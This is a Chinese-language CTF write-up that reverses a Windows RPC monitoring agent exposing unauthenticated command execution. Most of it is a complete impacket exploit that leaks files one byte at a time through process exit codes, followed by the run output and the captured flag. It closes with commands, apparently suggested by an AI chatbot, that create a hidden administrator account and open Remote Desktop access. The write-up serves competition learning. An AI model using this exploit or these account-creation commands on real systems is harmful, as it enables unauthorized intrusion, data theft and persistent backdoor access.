【CTF对抗-第十九届全国大学生信息安全竞赛半决赛 ISW 第二题 WP】此文章归类为:CTF对抗。
# flag{ab43db5e-d750-4154-b2fe-132399475ef2}
题目只提供了IP地址,访问发现应该是以http服务器挂载了某个目录上来,简单访问能发现 office 目录,dev 目录,最终在 monitoring/agent 目录下得到了后端的二进制压缩包 WatchAgent.zip 其中有编译产生的符号信息,能够直接在 IDA 中显示全部的符号。

nuclei.exe -u http://10.11.133.67/ -o result.txt
[smb-enum-domains] [javascript] [info] 10.11.133.68:445 ["DomainName: SRVDIST02"]
[smb-os-detect] [javascript] [info] 10.11.133.68:445 ["Windows Server 2022, Version 21H2"]
[smb-signing] [javascript] [medium] 10.11.133.68:445
[rdp-detection:win2016] [tcp] [info] 10.11.133.68:3389
[microsoft-iis-version] [http] [info] http://10.11.133.68/ ["Microsoft-IIS/10.0"]
目录是 Microsoft-IIS 服务挂载的,服务器系统应该是比较新的 Windows Server 2022, Version 21H2 至此能够完全确定是Windows渗透题目,渗透方案应该是通过给出的二进制后端发现漏洞,然后提权尝试通过 RDP 登录,3389 端口直接连上靶机

咱也不知道他这个操作是为了啥(69128、67540)
ports[0] = 69128;
ports[1] = 62831;
ports[2] = 67540;
ports[3] = 60325;
ports[4] = 63588;
for ( i = 0; i < 5; ++i )
{
//尝试哪个端口可以用....
}
这里有两个办法,要么直接跑拿到的后端文件,要么简单分析,65535是上限的话,如果没有端口占用的情况,最终工作的应该是62831.
了解到这是一个RPC的后端,根据导入表,这个项目用的是 Windows 自带的 RPCRT4,不是第三方 RPC 库.
00000000 struct __declspec(align(8)) _RPC_SERVER_INTERFACE // sizeof=0x60
00000000 { // XREF: .rdata:IWatchAgentServer___RpcServerInterface/r
00000000 // RPC_SERVER_INTERFACE/r
00000000 unsigned int Length;
00000004 _RPC_SYNTAX_IDENTIFIER InterfaceId;
00000018 _RPC_SYNTAX_IDENTIFIER TransferSyntax;
0000002C // padding byte
0000002D // padding byte
0000002E // padding byte
0000002F // padding byte
00000030 RPC_DISPATCH_TABLE *DispatchTable;
00000038 unsigned int RpcProtseqEndpointCount;
0000003C // padding byte
0000003D // padding byte
0000003E // padding byte
0000003F // padding byte
00000040 _RPC_PROTSEQ_ENDPOINT *RpcProtseqEndpoint;
00000048 void *DefaultManagerEpv;
00000050 const void *InterpreterInfo;
00000058 unsigned int Flags;
0000005C // padding byte
0000005D // padding byte
0000005E // padding byte
0000005F // padding byte
00000060 };
00000000 struct _RPC_SYNTAX_IDENTIFIER // sizeof=0x14
00000000 { // XREF: .rdata:_RpcTransferSyntax_2_0/r
00000000 // .rdata:_NDR64_RpcTransferSyntax_1_0/r ...
00000000 _GUID SyntaxGUID;
00000010 _RPC_VERSION SyntaxVersion;
00000014 };
// 做一次整理
struct _RPC_SERVER_INTERFACE {
unsigned int Length; // 0x00
_RPC_SYNTAX_IDENTIFIER InterfaceId; // 0x04
_RPC_SYNTAX_IDENTIFIER TransferSyntax; // 0x18
RPC_DISPATCH_TABLE *DispatchTable; // 0x30
unsigned int RpcProtseqEndpointCount; // 0x38
_RPC_PROTSEQ_ENDPOINT *RpcProtseqEndpoint; // 0x40
void *DefaultManagerEpv; // 0x48
const void *InterpreterInfo; // 0x50
unsigned int Flags; // 0x58
};
struct _RPC_SYNTAX_IDENTIFIER {
GUID SyntaxGUID;
RPC_VERSION SyntaxVersion;
};
.rdata:0000000140162210 IWatchAgentServer___RpcServerInterface _RPC_SERVER_INTERFACE <60h, <<12345678h, 1234h, 1234h, <12h, 34h, 12h, \
.rdata:0000000140162210 ; DATA XREF: .rdata:IWatchAgentServer_StubDesc↓o
.rdata:0000000140162210 ; .data:IWatchAgentServer_v1_0_s_ifspec↓o
.rdata:0000000140162210 34h, 56h, 78h, 9Ah, 0BCh>>, <1, 0>>, <<\
.rdata:0000000140162210 8A885D04h, 1CEBh, 11C9h, <9Fh, 0E8h, 8, 0, 2Bh, \
.rdata:0000000140162210 10h, 48h, 60h>>, <2, 0>>, \
.rdata:0000000140162210 offset IWatchAgentServer_v1_0_DispatchTable, 0,\
.rdata:0000000140162210 0, 0, offset IWatchAgentServer_ServerInfo, \
.rdata:0000000140162210 6000000h>
Length = 0x60
InterfaceId = <<12345678h, 1234h, 1234h, <12h, 34h, 12h, 34h, 56h, 78h, 9Ah, 0BCh>>, <1, 0>>
GUID = 12345678-1234-1234-1234-123456789abc
Version = 1.0
TransferSyntax = <<8A885D04h, 1CEBh, 11C9h, <9Fh, 0E8h, 8, 0, 2Bh, 10h, 48h, 60h>>, <2, 0>>
GUID = 8a885d04-1ceb-11c9-9fe8-08002b104860
Version = 2.0
.rdata:0000000140162970 IWatchAgentServer_ServerRoutineTable dq offset j_ExecuteCommand, offset j_GetSystemProcesses
.rdata:0000000140162970 ; DATA XREF: .rdata:IWatchAgentServer_ServerInfo↑o
.rdata:0000000140162980 dq offset j_GetSystemMemoryInfo, offset j_GetSystemCpuInfo
.rdata:0000000140162990 dq offset j_GetDiskInfo, offset j_GetSystemUptime, offset j_GetNetworkStatistics
.rdata:00000001401629A8 dq offset j_FreeMemory
好像就 ExecuteCommand 比较有用
unsigned __int8 __fastcall ExecuteCommand(
void *hBinding,
const wchar_t *pszCommand,
unsigned int ulTimeoutMs,
unsigned int *pExitCode,
unsigned int *pErrorCode)
{
unsigned __int8 result; // [rsp+24h] [rbp+4h]
j___CheckForDebuggerJustMyCode(&_4B9E544E_WatchAgentServer_c);
if ( !pszCommand || !pExitCode || !pErrorCode )
return 0;
result = RunCommand(pszCommand, ulTimeoutMs, pExitCode, pErrorCode);
if ( result )
j_printf("Command executed successfully. Exit code: %lu\n", *pExitCode);
else
j_printf("Command execution failed. Error code: %lu\n", *pErrorCode);
return result;
}
__int64 __fastcall RunCommand(
const wchar_t *pszCommand,
DWORD ulTimeoutMs,
unsigned int *pExitCode,
unsigned int *pErrorCode)
{
char *v4; // rdi
__int64 i; // rcx
char v7; // [rsp+50h] [rbp+0h] BYREF
HANDLE hHandle; // [rsp+58h] [rbp+8h]
unsigned int v9; // [rsp+74h] [rbp+24h]
_STARTUPINFOW StartupInfo; // [rsp+A0h] [rbp+50h] BYREF
_PROCESS_INFORMATION ProcessInformation; // [rsp+128h] [rbp+D8h] BYREF
wchar_t destination[32778]; // [rsp+160h] [rbp+110h] BYREF
DWORD v13; // [rsp+10174h] [rbp+10124h]
v4 = &v7;
for ( i = 16466; i; --i )
{
*(_DWORD *)v4 = -858993460;
v4 += 4;
}
j___CheckForDebuggerJustMyCode(&_4B9E544E_WatchAgentServer_c);
hHandle = 0;
v9 = 0;
StartupInfo.cb = 104;
memset(&StartupInfo.lpReserved, 0, 0x60u);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
j_wcsncpy_s(destination, 0x8000u, pszCommand, 0xFFFFFFFFFFFFFFFFuLL);
if ( CreateProcessW(0, destination, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation) )
{
hHandle = ProcessInformation.hProcess;
v13 = WaitForSingleObject(ProcessInformation.hProcess, ulTimeoutMs);
if ( v13 == 258 )
{
TerminateProcess(hHandle, 1u);
*pExitCode = 1;
*pErrorCode = 1460;
v9 = 0;
}
else
{
GetExitCodeProcess(hHandle, pExitCode);
*pErrorCode = 0;
v9 = 1;
}
}
else
{
*pErrorCode = GetLastError();
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
return v9;
}
已经开始爽起来了,没有任何鉴权的任意命令执行啊这可是
RPC request -> opnum 0 -> ExecuteCommand -> RunCommand -> CreateProcessW
到此已经拿到一半的 Shell 了,因为
//lpApplicationName = NULL
//lpCommandLine = 通过 RPC 传进去的字符串
如上执行的话,比如 cmd.exe /c whoami 就会真的被进程执行,但是比较麻烦的是,我们拿不到 shell 命令完整的回显,只能拿到 ErrorCode 和 ExitCode
目前掌握的信息已经足够建立 RPC 连接了,只是有一个点还需要注意,对于命令
unsigned __int8 __fastcall j_ExecuteCommand(
void *hBinding,
const wchar_t *pszCommand,
unsigned int ulTimeoutMs,
unsigned int *pExitCode,
unsigned int *pErrorCode)
{
return ExecuteCommand(hBinding, pszCommand, ulTimeoutMs, pExitCode, pErrorCode);
}
如果直接这样
class ExecuteCommandRequest(NDRCALL):
opnum = 0
structure = (
("pszCommand", WSTR),
("ulTimeoutMs", ULONG),
)
class ExecuteCommandResponse(NDRCALL):
structure = (
("pExitCode", ULONG),
("pErrorCode", ULONG),
("Return", NDRBOOLEAN),
)
然后调用库,会出问题的,关键的问题是我们不知道 ExecuteCommand 的第一个参数 pszCommand 在 RPC 线上到底该怎么编码,可能是
#- WSTR
#- [ref][string] wchar_t *
#- [unique][string] wchar_t *
根据 IDA 伪代码无法确定这点,我们需要一个一个试,如果有一个提前写好的尝试模板会轻松不少,其次,如果本地有 impacket 库会轻松不少,不然就要手写了
是 Windows 服务器,那优先考虑以下目录
C:\flag.txt
C:\Users\Administrator\Desktop\flag.txt(最终在这里)
C:\Users\Public\flag.txt
刚才提到了,虽然能执行 Shell ,但是只能拿到 ErrorCode 和 ExitCode,那只好对不起 ExitCode 了
def cmd_file_exists(path: str) -> str:
path = path.replace("'", "''")
return f"powershell.exe -NoP -C \"if(Test-Path '{path}'){{exit 1}}else{{exit 0}}\""
def cmd_file_len(path: str) -> str:
path = path.replace("'", "''")
return f"powershell.exe -NoP -C \"$s=([IO.File]::ReadAllText('{path}')).Trim(); exit $s.Length\""
def cmd_file_char(path: str, idx: int) -> str:
path = path.replace("'", "''")
return (
f"powershell.exe -NoP -C "
f"\"$s=([IO.File]::ReadAllText('{path}')).Trim(); exit [int][char]$s[{idx}]\""
)
def leak_file(dce, path: str):
res = exec_command(dce, cmd_file_exists(path))
print("[*] exists:", res["variant"], res["ok"], res["exit_code"], res["error_code"])
if res["exit_code"] != 1 or res["error_code"] != 0:
print("[-] file not found")
return
res = exec_command(dce, cmd_file_len(path))
print("[*] length:", res["variant"], res["ok"], res["exit_code"], res["error_code"])
if not res["ok"] or res["error_code"] != 0:
print("[-] failed to get length")
return
out = []
for i in range(res["exit_code"]):
char_res = exec_command(dce, cmd_file_char(path, i))
if not char_res["ok"] or char_res["error_code"] != 0:
print(
f"[-] failed at index {i}: variant={char_res['variant']} "
f"ok={char_res['ok']} exit={char_res['exit_code']} err={char_res['error_code']}"
)
break
out.append(chr(char_res["exit_code"]))
print("[+] leaked:", "".join(out))
通过以上方式,我们就可以逐字节获取某个文件的内容了,对于获取 flag 显然是足够了,最后,完整的攻击代码如下(这并不是赛场的那版本了,赛场没有 impacket 库):
#!/usr/bin/env python3
import struct
from impacket.dcerpc.v5 import rpcrt, transport
from impacket.dcerpc.v5.dtypes import ULONG
from impacket.dcerpc.v5.ndr import NDRBOOLEAN, NDRCALL
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
TARGET = "10.11.133.68"
PORT = 62831
IFACE_UUID = "12345678-1234-1234-1234-123456789abc"
IFACE_VERSION = "1.0"
OPNUM_EXECUTE_COMMAND = 0
PT_RESPONSE = rpcrt.MSRPC_RESPONSE
PT_FAULT = rpcrt.MSRPC_FAULT
class ExecuteCommandResponse(NDRCALL):
structure = (
("pExitCode", ULONG),
("pErrorCode", ULONG),
("Return", NDRBOOLEAN),
)
class StringEncodingStrategy:
name = "base"
def encode(self, value: str) -> bytes:
raise NotImplementedError
class DirectWideString(StringEncodingStrategy):
name = "direct"
def encode(self, value: str) -> bytes:
raw = value.encode("utf-16le") + b"\x00\x00"
n = len(raw) // 2
out = struct.pack("<III", n, 0, n) + raw
if len(out) % 4:
out += b"\x00" * (4 - len(out) % 4)
return out
class RefWideString(StringEncodingStrategy):
name = "ref"
def encode(self, value: str) -> bytes:
raw = value.encode("utf-16le") + b"\x00\x00"
n = len(raw) // 2
out = struct.pack("<I", 1)
out += struct.pack("<III", n, 0, n) + raw
if len(out) % 4:
out += b"\x00" * (4 - len(out) % 4)
return out
class UniqueWideString(StringEncodingStrategy):
name = "unique"
def encode(self, value: str) -> bytes:
raw = value.encode("utf-16le") + b"\x00\x00"
n = len(raw) // 2
out = struct.pack("<I", 0x20000)
out += struct.pack("<III", n, 0, n) + raw
if len(out) % 4:
out += b"\x00" * (4 - len(out) % 4)
return out
class ExecuteCommandRequest:
opnum = OPNUM_EXECUTE_COMMAND
def __init__(self, command: str, timeout_ms: int, encoder: StringEncodingStrategy):
self.command = command
self.timeout_ms = timeout_ms
self.encoder = encoder
def getData(self) -> bytes:
return self.encoder.encode(self.command) + struct.pack("<I", self.timeout_ms)
@property
def variant(self) -> str:
return self.encoder.name
@classmethod
def variants(cls, command: str, timeout_ms: int):
encoders = (
DirectWideString(),
RefWideString(),
UniqueWideString(),
)
return [cls(command, timeout_ms, encoder) for encoder in encoders]
def rpc_connect():
# Keep transport/bind on impacket; only the opnum stub needs compatibility handling.
binding = f"ncacn_ip_tcp:{TARGET}[{PORT}]"
rpc_transport = transport.DCERPCTransportFactory(binding)
rpc_transport.set_connect_timeout(5)
dce = rpc_transport.get_dce_rpc()
dce.connect()
rpc_transport.get_socket().settimeout(5)
dce.bind(uuidtup_to_bin((IFACE_UUID, IFACE_VERSION)))
return dce
def parse_execute_response(data: bytes) -> tuple[bool, int, int]:
# IDA confirmed the response layout is: ULONG exit, ULONG error, BOOLEAN return.
if len(data) >= 9:
resp = ExecuteCommandResponse(data)
return bool(resp["Return"]), int(resp["pExitCode"]), int(resp["pErrorCode"])
raise ValueError(f"short response stub: {data.hex()}")
def call_raw(dce, opnum: int, stub: bytes) -> dict:
# Use impacket for the RPC transport, but keep the request stub fully controllable.
dce.call(opnum, stub)
try:
response_stub = dce.recv()
except DCERPCException as exc:
return {"ptype": PT_FAULT, "fault": str(exc), "stub": b""}
return {"ptype": PT_RESPONSE, "fault": None, "stub": response_stub}
def exec_command(dce, command: str, timeout_ms: int = 10000):
# The service is standard RPCRT4/MIDL, but the exact wire form for pszCommand
# is finicky enough that a single WSTR/LPWSTR mapping was not reliable.
last_error = None
for request in ExecuteCommandRequest.variants(command, timeout_ms):
try:
response = call_raw(dce, request.opnum, request.getData())
if response["ptype"] == PT_FAULT:
last_error = f"variant={request.variant} fault={response['fault']}"
continue
ok, exit_code, error_code = parse_execute_response(response["stub"])
return {
"variant": request.variant,
"ok": ok,
"exit_code": exit_code,
"error_code": error_code,
}
except Exception as exc:
last_error = f"variant={request.variant} error={exc}"
raise RuntimeError(last_error or "all variants failed")
def cmd_file_exists(path: str) -> str:
path = path.replace("'", "''")
return f"powershell.exe -NoP -C \"if(Test-Path '{path}'){{exit 1}}else{{exit 0}}\""
def cmd_file_len(path: str) -> str:
path = path.replace("'", "''")
return f"powershell.exe -NoP -C \"$s=([IO.File]::ReadAllText('{path}')).Trim(); exit $s.Length\""
def cmd_file_char(path: str, idx: int) -> str:
path = path.replace("'", "''")
return (
f"powershell.exe -NoP -C "
f"\"$s=([IO.File]::ReadAllText('{path}')).Trim(); exit [int][char]$s[{idx}]\""
)
def leak_file(dce, path: str):
res = exec_command(dce, cmd_file_exists(path))
print("[*] exists:", res["variant"], res["ok"], res["exit_code"], res["error_code"])
if res["exit_code"] != 1 or res["error_code"] != 0:
print("[-] file not found")
return
res = exec_command(dce, cmd_file_len(path))
print("[*] length:", res["variant"], res["ok"], res["exit_code"], res["error_code"])
if not res["ok"] or res["error_code"] != 0:
print("[-] failed to get length")
return
out = []
for i in range(res["exit_code"]):
char_res = exec_command(dce, cmd_file_char(path, i))
if not char_res["ok"] or char_res["error_code"] != 0:
print(
f"[-] failed at index {i}: variant={char_res['variant']} "
f"ok={char_res['ok']} exit={char_res['exit_code']} err={char_res['error_code']}"
)
break
out.append(chr(char_res["exit_code"]))
print("[+] leaked:", "".join(out))
def main():
dce = rpc_connect()
try:
#res = exec_command(dce, "cmd.exe /c exit 7")
#print("[*] test:", res["variant"], res["ok"], res["exit_code"], res["error_code"])
leak_file(dce, "C:\\Users\\Administrator\\Desktop\\flag.txt")
finally:
dce.disconnect()
if __name__ == "__main__":
main()
在本机模拟的执行效果是
// python:
/*
[*] exists: direct True 1 0
[*] length: direct True 7 0
[+] leaked: {Hello}
*/
// server:
/*
Command executed successfully. Exit code: 7
Command executed successfully. Exit code: 1
Command executed successfully. Exit code: 7
Command executed successfully. Exit code: 123
Command executed successfully. Exit code: 72
Command executed successfully. Exit code: 101
Command executed successfully. Exit code: 108
Command executed successfully. Exit code: 108
Command executed successfully. Exit code: 111
Command executed successfully. Exit code: 125
Command executed successfully. Exit code: 1
Command executed successfully. Exit code: 7
Command executed successfully. Exit code: 123
Command executed successfully. Exit code: 72
Command executed successfully. Exit code: 101
Command executed successfully. Exit code: 108
Command executed successfully. Exit code: 108
Command executed successfully. Exit code: 111
Command executed successfully. Exit code: 125
*/
比赛时候的输出如下(目前的 EXP 和比赛时候有变动)
[+] variant=direct ok=True exit=42 err=0
[+] length=42 variant=direct
[+] variant=direct ok=True exit=102 err=0
[+] variant=direct ok=True exit=108 err=0
[+] variant=direct ok=True exit=97 err=0
[+] variant=direct ok=True exit=103 err=0
[+] variant=direct ok=True exit=123 err=0
[+] variant=direct ok=True exit=97 err=0
[+] variant=direct ok=True exit=98 err=0
[+] variant=direct ok=True exit=52 err=0
[+] variant=direct ok=True exit=51 err=0
[+] variant=direct ok=True exit=100 err=0
[+] variant=direct ok=True exit=98 err=0
[+] variant=direct ok=True exit=53 err=0
[+] variant=direct ok=True exit=101 err=0
[+] variant=direct ok=True exit=45 err=0
[+] variant=direct ok=True exit=100 err=0
[+] variant=direct ok=True exit=55 err=0
[+] variant=direct ok=True exit=53 err=0
[+] variant=direct ok=True exit=48 err=0
[+] variant=direct ok=True exit=45 err=0
[+] variant=direct ok=True exit=52 err=0
[+] variant=direct ok=True exit=49 err=0
[+] variant=direct ok=True exit=53 err=0
[+] variant=direct ok=True exit=52 err=0
[+] variant=direct ok=True exit=45 err=0
[+] variant=direct ok=True exit=98 err=0
[+] variant=direct ok=True exit=50 err=0
[+] variant=direct ok=True exit=102 err=0
[+] variant=direct ok=True exit=101 err=0
[+] variant=direct ok=True exit=45 err=0
[+] variant=direct ok=True exit=49 err=0
[+] variant=direct ok=True exit=51 err=0
[+] variant=direct ok=True exit=50 err=0
[+] variant=direct ok=True exit=51 err=0
[+] variant=direct ok=True exit=57 err=0
[+] variant=direct ok=True exit=57 err=0
[+] variant=direct ok=True exit=52 err=0
[+] variant=direct ok=True exit=55 err=0
[+] variant=direct ok=True exit=53 err=0
[+] variant=direct ok=True exit=101 err=0
[+] variant=direct ok=True exit=102 err=0
[+] variant=direct ok=True exit=50 err=0
[+] variant=direct ok=True exit=125 err=0
[+] leaked:
// flag{ab43db5e-d750-4154-b2fe-132399475ef2}
然后发现 C 盘 C:\Program Files\WatchGuard 文件夹下有 nssm.exe 同样的方式尝试拿出来,跟拿flag的代码没有区别,后边补充如下代码即可,但是也是一个字节一个字节拿 估计会比较慢。
print(chars.__len__)
with open("my.exe", "wb") as f:
f.write(chars)
[+] variant=direct ok=True exit=328317 err=0
[+] length=328317 variant=direct
这个太慢了
[-] variant=direct transport_error=[WinError 10054] 远程主机强迫关闭了一个现有的连接。
[-] variant=unique transport_error=[WinError 10054] 远程主机强迫关闭了一个现有的连接。
[-] variant=ref1 transport_error=[WinError 10054] 远程主机强迫关闭了一个现有的连接。
[-] failed at index 1327
最后也没拿出来
实际上在赛场上没有做出来这一步,一共好像有六到八个 flag ,也无缘见到了,队友在赛场上尝试根据本地大模型给出的命令添加远程桌面用户,然后尝试连接,但是没有成功。要是能远程桌面连接上去,应该就能做进一步渗透了。赛后 ChatGPT 5.4 给出的相关命令是
cmd.exe /c whoami
cmd.exe /c net user awdtmp P@ssw0rd! /add
cmd.exe /c net localgroup administrators awdtmp /add
cmd.exe /c net localgroup "Remote Desktop Users" awdtmp /add
cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /c netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
但是还没有尝试复现,很可能有系统权限问题没法执行,也难以复现靶机的相关环境了
更多【CTF对抗-第十九届全国大学生信息安全竞赛半决赛 ISW 第二题 WP】相关视频教程:www.yxfzedu.com